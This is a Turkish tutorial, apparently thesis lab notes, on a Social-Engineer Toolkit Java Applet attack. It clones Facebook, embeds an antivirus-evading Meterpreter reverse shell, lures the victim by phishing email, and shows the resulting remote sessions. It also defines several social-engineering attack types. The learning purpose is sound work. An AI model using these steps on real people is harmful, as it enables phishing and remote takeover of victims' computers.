#### Setoolkit ile Java Applet Saldırısı

(+) Bu yazı birebir denenmiştir ve başarıyla uygulanmıştır.

Gereksinimler:

Windows 7 Home Premium Eski Kali (kali-linux-1.0.4-amd64.iso) // Virtualbox'da mevcut

Setoolkit sosyal mühendislik saldırılarının yer aldığı bir araçtır. Açılımı Social Engineering Toolkit'tir. Bu yazıda setoolkit ile bir klon web sayfası (facebook login sayfası) oluşturacağız. Ardından kurbana klon web sayfasının linkini mail ile göndereceğiz. Kurban linke tıkladığında ekranına klon web sayfası gelecektir ve hemen akabinde ekrana Java Applet'i çalıştır popup'ı gelecektir. Kurban java applet'i çalıştır dediğinde sisteminde meterpreter payload'u çalışacaktır ve saldırganın konsoluna meterpreter session'ı gelecektir. Yani kurban java applet'i çalıştır diyerek sistemini saldırgana teslim etmiş olacaktır.

Şimdi işlemlere başlayalım. Saldırgan olarak biz Kali'yiz ve kurban da Windows 7 Home Premium'dur. Kali'de setoolkit aracı başlatılarak aşağıdaki adımlar uygulanır:

> se-toolkit

Social-Engineering Attacks
 Fast-Track Penetration Testing
 Third Party Modules

- 3) Third Party Modules
- 4) Update the Metasploit Framework
- 5) Update the Social-Engineer Toolkit
- 6) Update SET configuration
- 7) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

Not: Social engineering attack yapacağımız için 1nci seçeneği seçelim.

#### set > **1**

// 1 girilir

#### Select from Menu:

- 1) Spear-Phising Attack Vectors
- 2) Website Attack Vectors
- 3) Infectious Media Generator
- 4) Create a Payload and Listener
- 5) Mass Mailer Attack
- 6) Arduino-Based Attack Vector
- 7) SMS Spoofing Attack Vector
- 8) Wireless Access Point Attack Vector
- 9) QRCode Genereator Attack Vector

10) Powershell Attack Vectors

11) Third Party Modules

99) Return back to the main menu.

Not: Görüldüğü üzere social engineering attack olarak yukarıdakiler mevcutmuş. Biz social engineering attack olarak website attack vector'ü seçelim.

set > **2** 

// 2 girilir.

1) Java Applet Attack Method

2) Metasploit Browser Exploit Method

3) Credential Harvester Attack Method

4) Tabnabbing Attack Method

5) Web Jacking Attack Method

6) Multi-Attack Web Method

7) Create or import a CodeSigning Certificate

99) Return to Main Menu

Not: Java Applet ile sızma seçeneğini seçelim.

set:webattack > 1

Web Templates
 Site Cloner

3) Custom Import

99) Return to Webattack Menu

Not: Klonlayacağımız web sayfasını elimizle belirtmek için Site Cloner'ı seçelim.

set:webattack > **2** 

set > Are you using NAT/Port Forwarding [yes | no] : **no** 

Not: Oluşturacağımız klon web sayfasını 80 portundan dışarı vereceğiz. Dolayısıyla klon web sayfasına erişecek kişi IP'mizi adres çubuğuna girerek siteye erişecektir. Eğer erişecek kişi dış network'te ise NAT/Port Forwarding'i yes dememiz gerekir ki böylece oluşturduğumuz web sitesini dışarıya açabilelim. Ancak bizim uygulamamızda kurban iç network'te olduğu için direk IP'mizle siteye erişebileceğinden NAT/Port Forwarding'e no diyeceğiz. set > IP address or host name for the reverse connection: **192.168.0.19** // **Kali IP girilir.** 

// 1 girilir.

// 2 girilir.

// no girilir.

# Not: Java Applet'i kurban çalıştırdığında ters bağlantının geleceği adres olarak Kali IP'sini yazarız.

set:webattack > Enter the url to clone: https://www.facebook.com

//Klonlanacak //site girilir.

Not: Klonlayacağımız web sitesini gireriz.

What payload do you want to generate:

Name:

Windows Shell Reverse TCP
 Windows Reverse TCP Meterpreter

•••

11) Import your own executable

Not: Java Applet'in içine gömeceğimiz payload olarak Meterpreter'i belirleriz.

set:payloads > 2

// 2nci payload
// secilir.

Select an encoder to bypass Antivirus (AV)

1) avoid\_utf8\_tolower (normal)

2) shikata\_ga\_nai (very good)

16) Backdoored Executable (best)

Not: Payload'u kodlayacak encoder olarak shikata'yı seçeriz. Böylece kodlanmış payload'umuz antivirus'lerce tanınamayacaktır.

set:encoding > 2

// 2nci encoder // seçilir.

set:payloads > PORT of the listener [443] : 443

// 443 girilir.

## Not: Kurbandan gelecek ters bağlantıyı yakalamak için Kali'nin 443 nolu portunu dinler hale geçeriz.

msf exploit(handler) >
[\*] Started reverse handler on 0.0.0.0:8080
[\*] Starting the payload handler...

#### Not: Artık dinleme moduna gireriz.

Buraya kadar yaptıklarımızı özetlersek setoolkit aracı ile bir sosyal mühendislik saldırısı yapmayı kararlaştırdık. Atak vektörü olarak web arayüzünü belirledik. facebook.com sitesinin klonunu oluşturup sayfanın içine Java Applet plugin'ini (meterpreter payload'unu) koyduk. Sonra web sayfasını 80 portundan dışarıya açtık ve 443 nolu portumuzu hedef sistemdeki meterpreter payload'undan gelecek ters bağlantıları yakalayabilelim diye dinler hale geçtik.



Buraya kadar saldırganın tüm işlemleri tamamlanmış bulunmaktadır. Şimdi kurbanın yapması gereken birkaç şey vardır. O da kurban sistemine Java yazılımını kurmalıdır. Çünkü Java Applet pluginin çalışabilmesi için kurbanın sisteminde Java kurulu olmak mecburiyetindedir. O yüzden Windows 7 Home Premium sisteminde java.com sitesine gidelim ve Java'yı kuralım.

🏈 java.com: Java + You - Windows Internet Explorer		
😋 🔵 🗢 📓 https://www.java.com/en/ 🔹 🔒 Identified by VeriS	🗧 👉 🗙 👂 Bing	+ م
🖕 Favorites 🛛 🚔 🔊 Suggested Sites 👻 🔊 Web Slice Gallery 👻		
🏂 java.com: Java + You	🛐 🔻 🖾 👻 🖃 🖶 👻 Page 👻 Safety	y 🕶 Tools 👻 🔞 👻
		*
JAVA I IOO,		
	A STA	
	and the second second	
TODAYI	2 - Cond	-
100/(1.	A A A A A A A A A A A A A A A A A A A	
Free Java Download	Alle	
	A Contraction of the second se	
» What is Java? » Do I have Java? » Need Help? » Uninstall		
About Java		
<u> 60</u>		Get it now
🛕 https://www.java.com/inc/BrowserRedire	net   Protected Mode: On 🛛 🖓	<ul> <li>➡ 100%</li> <li>➡</li> </ul>
		()) 1:10 AM 12/9/2016

Ardından kurbana mail yoluyla Kali IP'mizi facebook linki görünümlü yolladığımızı varsayalım.



Kurbanı ikna edici bir eposta olmalıdır ki kurban linke tıklayabilsin. Bu yüzden eposta olarak yukarıda görebileceğiniz üzere bildirimleriniz var kandırmacası kullanılmıştır. Kurban linke tıkladığında aşağıdaki ekran gelecektir:

🏉 Facebook'a Giriş Yap	acebook - Windows Internet Explorer		3	
C → I http://1	92.168.0.19/	🕶 🔂 🍫 🗙 🔑 Bi	ing	• م
🚖 Favorites 🛛 👍 🔊 S	uggested Sites 🔻 🥭 Web Slice Gallery 🕶			
Facebook'a Giriş Yap	Java Application Blocked		×	Safety 🔻 Tools 👻 🕢 👻
	Application Blocked by Java Secu	rity		ayıcını güncelle.
faceboc	For security, applications must now meet to settings, or be part of the Exception Site I	the requirements for the High or Ve .ist, to be allowed to run. lore Information	ery High security	E
	<b>Reason:</b> Your security settings have bl	ocked a self-signed application from	m running	
				-
l ←		Internet   Protected Mas	day On	F = 100% =
		Themer Protected Mot	ie: 011	1:16 AM 12/9/2016

Görüldüğü üzere klon facebook sayfası ve akabinde Java uygulamasının bloklandığı bilgisi ekrana gelmiştir. Bunu gören saf kullanıcı bişey var zannedip bloklamayı kaldırmayı araştıracaktır. Araştırması sonucunda bloğun şöyle kalkacağını öğrenecektir: Önce Başlat menüsüne tıklanılır. Ardından ara kısmına Configure Java yazılır ve ekrana gelen simgeye tıklanılır.

🏉 Facebook'a Giriş Yap   Facebook - Windows Internet Explorer		23
G → T http://192.168.0.19/	▼ 🔁 47 🗙 🖓 Bing 🖇	• •
🔶 Favorites 🛛 🗠 🔊 Suggested Sites 👻 🔊 Web Slice Gallery 👻		
Programs (2)	Safety + Tools +	
Configure Java     Java configure     View or change Java settings.	ayıcını güncelle.	ń
	rements for the High or Very High security e allowed to run.	Ξ
	elf-signed application from running	
	OK	
₽ See more results		
java configure × Shut down >	Internet   Protected Mode: On 🛛 🖓 👻 🍕 100%	•
<ul> <li>(2)</li> <li>(2)</li></ul>		6

Ekrana gelen java yapılandırma penceresindeki Security'ye tıklanılır ve daha sonra gelen penceredeki Edit Site List düğmesine tıklanılır.



Az önce java applet engellemesiyle karşılaştığımız link (yani Kali IP'si) listeye eklenir.

🏉 Facebook'a Giriş Ya	p   Facebook - Windows Internet Explorer	
🔾 🗢 🖛 🖬 http	🛃 Java Control Panel	• م
🔶 Favorites 🛛 🚕 🖌	General Update Java Security Advanced	
E Eacebook'a Giris V	The second secon	etv 🔻 Tools 🕶 🔞 🕶
Tacebook a Giriş i	🖆 Exception Site List	
	Applications launched from the sites listed below will be allowed to run after the appropriate security prompts.	cını güncelle.
facebo	Location	
IUCEDU	http://192.168.0.19	
	45	
	Add Remove	
	FILE and HTTP protocols are considered a security risk.	
	We recommend using https sites where available.	
	OK Cancel	
l	Restore Security Promots Manage Certificates	
•		•
		The second seco
		1:22 AM 12/9/2016

OK denir ve ekrana gelen dialog box'taki Continue düğmesine tıklanılır.

🏉 Facebook'a Giriş Ya	p   Facebook - Windows Internet Explorer	
🔾 🗢 🖬 http	🛃 Java Control Panel	- م
🔶 Favorites 🛛 🚕 🖉	General Update Java Security Advanced	
Facebook'a Giriş Y	Image: State of the state	→ety マ Tools マ 🕢 マ
	Exception Site List Security Warning - HTTP Location	cını güncelle. 🔒
facebo	Including an HTTP Location on the Exception Site List is considered a security risk	E
	Location: http://192.168.0.19 Locations that use HTTP are a security risk and may compromise the personal information on your computer. We recommend including only HTTPS sites on the Exception Site List. Click Continue to accept this location or Cancel to abort this change.	
	We recommend using HTTPS sites where available. OK Cancel	
•	Restore Security Prompts Manage Certificates	-
		√a  ▼    • 100%
	🚞 💽 🔮 🖷 - k 🛱	1:23 AM 12/9/2016

Ardından güvenlik seviyesi Very High 'dan High seviyesine çekilir.

🏉 Facebook'a Giriş Ya	p   Facebook - Windows Internet Explorer	
😋 🔾 🗢 🖬 http	🛃 Java Control Panel 💿 💿 💌	• م
🚖 Favorites 🛛 🚖 🖌	General Update Java Security Advanced	
Facebook'a Giriş Y	☑ Enable Java content in the browser	Safety 🕶 Tools 👻 🕢 🕶
facebo	Security level for applications not on the Exception Site list <ul> <li>Very High</li> <li>Only Java applications identified by a certificate from a trusted authority are allowed to run, and only if the certificate can be verified as not revoked.</li> <li>High</li> <li>Java applications identified by a certificate from a trusted authority are allowed to run, even if the revocations identified by a certificate cannot be verified.</li> </ul>	ayıcını güncelle.
	Exception Site List Applications launched from the sites listed below will be allowed to run after the appropriate security prompts. http://192.168.0.19 Edit Site List Restore Security Prompts Manage Certificates	-
•		
<b>()</b>		1:24 AM 12/9/2016

Ve sonra Apply denir.

🏉 Facebook'a Giriş Ya	🛃 Java Control Panel 📃 👘 📧	
🕒 🔾 🗢 🖬 http	General Update Java Security Advanced	🖌 🦉
🚖 Favorites 🛛 🚖 🕻	Enable Java content in the browser	
Facebook'a Giriş Y		Safety 🔻 Tools 👻 🔞 💌
	Security level for applications not on the Exception Site list	ayıcını güncelle.  🔒
	🔘 Very High	
facebo	Only Java applications identified by a certificate from a trusted authority are allowed to run, and only if the certificate can be verified as not revoked.	E
	High	
	Java applications identified by a certificate from a trusted authority are allowed to run, even if the revocation status of the certificate cannot be verified.	
	Exception Site List Applications launched from the sites listed below will be allowed to run after the appropriate security prompts.	
	Edit Site List	
	Restore Security Prompts Manage Certificates	
		-
•	OK Cancel Apply	► • • • • • • • • • • • • • • • • • • •
		1:25 AM 12/9/2016

Böylece kurban kendi sisteminde klon web sayfası ziyareti sırasında çalışacak Java Applet plugin'lerinin çalışmasına izin vermiş bulunmaktadır. Bunun üzerine kurban klon web sayfasını refresh'lediğinde aşağıdaki popup ekrana gelecektir:

🏉 Facebook'a Giriş Yap	Facebook - Window	vs Internet Explore	r				- P	8
😋 🔾 🗢 🖬 http:/	//192.168.0.19/		-	3 +y 🗙 🔎	Bing			<del>ب</del> م
🚖 Favorites 🛛 👍 🙋	Suggested Sites 🔻	Web Slice Gall	ery 🔻					
Facebook'a Giriş Ya	p   Facebook			🖄 🔻 🔊	- 🖃 🖶 - F	age 🔻 Safety	▼ Tools ▼	•
	Security Warning					<b>—</b> ו	u giineelle	-
	Do you want	to run this ap	plication?				il guncene	
facebo	1	Publisher: UN						E
	Running this ap	Dication may b	e a security ri	sk				1
	Risk: This applicati information a run this appli More Informa	on will run with unrei t risk. The informatic ation unless you are ition	stricted access which on provided is unrel e familiar with its so to start the app	h may put your co able or unknown s urce plication	mputer and person to it is recommended	al 1 not to	2	
		sk and want to run i	mis application.					
4								-
Done			😜 Inter	net   Protected N	Aode: On		• • 100%	•
<b>@</b>					ã 🔺	No 🛱 🛍	● 1:28 A 12/9/20	M 016

Görüldüğü gibi bu sefer Java Applet plugin'i bloklanmamıştır. Çalıştırılması için izin istenmektedir. Tick kutucuğunu işaretleyip Run dediğimizde meterpreter payload'u kurbanın sisteminde çalışacaktır. Böylece kurban Kali'ye ters bir bağlantı talebinde bulunacaktır. Kali ise dinleme modunda olduğu için ters bağlantıyı yakalayacaktır ve meterpreter session'ları Kali komut satırına gelecektir.

root@kali: ~ 💶 🗵
File Edit View Search Terminal Tabs Help
root@kali: ~ × root@kali: ~ ×
<pre>/referer_frame.php HTTP/1.1" 404 -</pre>
<pre>[*] Meterpreter session 3 opened (192.168.0.19:8080 -&gt; 192.168.0.18:49203) at 20 [*] Meterpreter session 4 opened (192.168.0.19:53 -&gt; 192.168.0.18:49205) at 2016 -12-09 00:29:36 +0200 [*] Meterpreter session 5 opened (192.168.0.19:25 -&gt; 192.168.0.18:49202) at 2016 -12-09 00:29:36 +0200 [*] Meterpreter session 6 opened (192.168.0.19:22 -&gt; 192.168.0.18:49206) at 2016 -12-09 00:29:36 +0200</pre>

Bu session'lardan bir tanesini seçmek için önce ENTER yapılır, sonra sessions komutu girilir.

msf exploit(handler) > sessions

						root	@kati: *					_		×
F	ile	Edit	View	Search	Termina	l Tabs	Help							
[	root	t@kal	i: ~				×	root@	kal	i: ~			×	
<u>ms</u> A c	<u>sf</u> e ctiv	explo re se	it( <mark>ha</mark> ssion	ndler) s =	> sessi	ons								
)	Id  1 2 3 4 5 6	Typ  met met met met	e - erpre erpre erpre erpre erpre	ter x8 ter x8 ter x8 ter x8 ter x8 ter x8	6/win32 6/win32 6/win32 6/win32 6/win32 6/win32	Infor hefes hefes hefes hefes hefes	mation e-PC\h e-PC\h e-PC\h e-PC\h e-PC\h e-PC\h	efese efese efese efese efese efese		HEFESE-PC HEFESE-PC HEFESE-PC HEFESE-PC HEFESE-PC HEFESE-PC	Connection 192.168.0. 192.168.0. 192.168.0. 192.168.0. 192.168.0. 192.168.0.	19:443 19:443 19:808 19:53 19:25 19:22		1 1 2 19 19
m	<u>sf</u> e	xplo	it( <mark>ha</mark>	ndler)	The quiete	er you be	come, tl	he more	e yo	ou are able to h	iear.			

İçlerinden bir tanesi seçilir.

## msf exploit(handler) > sessions -i 1

File Edit View Search Terminal Tabs Help         root@kali: ~         msf exploit(handler) > sessions         Active sessions         Id Type       Information         Connection	×
root@kali: ~       ×       root@kali: ~       >         msf exploit(handler) > sessions       Active sessions	
<u>msf</u> exploit(handler) > sessions Active sessions ====================================	<
Active sessions ============ Id Type Information Connection	
Id Type Information Connection	
1 meterpreter x86/win32 hefese-PC\hefese @ HEFESE-PC 192.168.0.19:443 -> 2 meterpreter x86/win32 hefese-PC\hefese @ HEFESE-PC 192.168.0.19:443 -> 3 meterpreter x86/win32 hefese-PC\hefese @ HEFESE-PC 192.168.0.19:8080 -> 4 meterpreter x86/win32 hefese-PC\hefese @ HEFESE-PC 192.168.0.19:53 -> 5 meterpreter x86/win32 hefese-PC\hefese @ HEFESE-PC 192.168.0.19:53 -> 6 meterpreter x86/win32 hefese-PC\hefese @ HEFESE-PC 192.168.0.19:25 -> 6 meterpreter x86/win32 hefese-PC\hefese @ HEFESE-PC 192.168.0.19:22 ->	> 1 > 1 - > 19 19 19
<pre>msf exploit(handler) &gt; sessions -i 1 [*] Starting interaction with 1 meterpreter &gt; The quieter you become, the more you are able to hear.</pre>	

Böylece meterpreter session'ı kullanıma hazır olur.

meterpreter >

Kurban Java Applet'i çalıştır dediğinde birden fazla meterpreter session'ı Kali'ye gönderirken aynı zamanda orijinal facebook sayfasına yönlendirilir.

🖉 Log in to Facebook   Facebook - Windows Internet Explorer		
← ← f https://www.facebook.com/login.php	- 🔒 + 🖌 🔎 Bing	💌 م
🚖 Favorites 🛛 🚔 🔊 Suggested Sites 👻 🔊 Web Slice Gallery 🕶		
F Log in to Facebook   Facebook	🏠 🕶 🔂 👻 🖃 🖶 🕶 Page 🕶	Safety 👻 Tools 👻 🔞 🕶
For a better experience on	acebook, switch to our basic site or u	pdate your browser
facebook serve		
		=
Log in t	o Facebook	
		-
1 Done	Internet   Protected Mode: On	√a  →    ≪100%  →
	é 🔺 😼 (	1:29 AM 12/9/2016

Böylece kurban olayın farkına varmaz. Şifreyi yanlış girdim herhalde deyip tekrar şifresini bu sefer orijinal facebook login sayfasına girer, oturumunu açar ve facebook'ta surf'unu yapar. Saldırgan ise

meterpreter session'ı üzerinden hedef sitemde dilediği atı oynatabilir duruma gelir.

## Sonuç

Biz Kali'de bir klon web sayfası oluşturduk. Klon web sayfasına java applet olarak meterpreter payload'unu koyduk. Web sayfasını 80 portundan dışarıya açtık. Kullanıcıya email yoluyla web sayfamızın linkini verdik. Kullanıcı web sayfasına girdi. Java Applet'i çalıştır dedi. Böylece meterpreter çalıştı. Kullanıcı orijinal facebook login sayfasına yönlendirildi ve meterpreter bağlantıları bize geldi. Bunun neticesinde biz kullanıcının sisteminde istediğimiz gibi at oynatabilir hale geldik.

## Ekstra

Bu belgede yaptığımız saldırıya sosyal mühendislik saldırısı adı verilir. Çünkü bu saldırıda biz Kali'de oluşturduğumuz web sayfasının linkini ikna edici bir mail ile kurbana gönderdik. Böylece kurban mail'deki linke tıklayınca web sitesine bağlandı, ekrana gelen java applet plugin'ini çalıştırdı ve sistemini saldırgana teslim etmiş oldu. Yani kullanıcıyı mail ile kandırdığımız için kullanıcı email'indeki linke tıkladı, sahte web sayfasına yönlendi, applet'i çalıştırdı ve sistemine sızdık. Dolayısıyla mail üzerinden kurbanı kandırmak suretiyle sisteme sızdığımız için bu saldırıya sosyal mühendislik saldırısı adı verilir.

Örneğin *HTTrack Kullanımı.docx* belgesinde HTTrack tool'u ile klon bir web sayfası (facebook login sayfası) hazırlamıştık. O web sayfasının linkini kullanıcıya ikna edici bir mail ile göndermiştik. Kullanıcı email'indeki linke tıklamıştı. Sonra sahte facebook login sayfasına yönlenmişti. Kullanıcı adı ve şifre bilgilerini sahte web sayfasına girmişti. Biz de bu bilgileri dosyalamıştık ve kullanıcıyı orijinal facebook login sayfasına yönlendirmiştik. İşte bu saldırıya da sosyal mühendislik saldırısı adı verilir. Çünkü bu saldırıda da kullanıcıyı mail ile kandırmış bulunmaktayız ve bu kandırma sayesindedir ki kullanıcı email'indeki linke tıkladı, sahte web sayfasına yönlendi ve kullanıcı adı - şifre bilgilerini girerek bilgilerini bize kaptırdı (Detaylı bilgi için bkz. Tez Raporu/İnternetten Edinilmiş Kıymetli Bilgiler/Elden Geçirdiğim Notlar/HTTrack Kullanımı.docx). Dolayısıyla mail üzerinden kurbanı kandırmak suretiyle kurbanın kullanıcı adı - şifre bilgilerini ele geçirdiğimiz için bu saldırıya da sosyal mühedislik saldırısı adı verilir.

Anlatılan bu iki saldırı da email yoluyla yapıldığı için sosyal mühendislik saldırısı türlerinden Phising saldırısı olarak adlandırılırlar. Phishing gibi daha birçok sosyal mühendislik saldırı türleri mevcuttur. Onlardan bazısı şu şekildedir:

Sosyal Mühendislik Saldırı Türleri;

- Phising

Email yoluyla yapılan sosyal mühendislik saldırılarına denir.

- Spear Phising

Email yoluyla yapılan sosyal mühendislik saldırılarına denir. Fakat Spear Phising spesifik bir kimseye ya da spesifik bir organizasyona email yoluyla yapılan sosyal mühendislik saldırısına denirken Phising kitlesel olarak ele geçen herkese email yoluyla yapılan sosyal mühendislik saldırılarına denir.

- Baiting

Malware içeren bir USB flash'ının bir ortamda bırakılması ve o ortamdaki kurbanın merak edip USB Flash'ı makinasına takmasıyla gerçekleşen sosyal mühendislik saldırısına denir. USB Flash'ı takan kurbanın makinası malware'i kapacaktır ve eğer yetenekliyse ağdaki her bilgisayara bulaşacaktır.

- Scareware

Kullanıcıya makinasının viruslü olduğunu ileri sürerek temizlemesi için belirtilen uygulamayı indir şeklinde kandırma usulünü kullanan saldırılara scareware saldırısı denir. Kulanıcı makinasını temizlemek maksadıyla malware'i indirince saldırgan hedef sistemi ele geçirmiş olur.

## Yararlanılan Kaynaklar

Web Penetration Testing in Kali Linux, pg. 132-139

https://samsclass.info/123/proj10/p4-set-java.htm

http://searchsecurity.techtarget.com/definition/social-engineering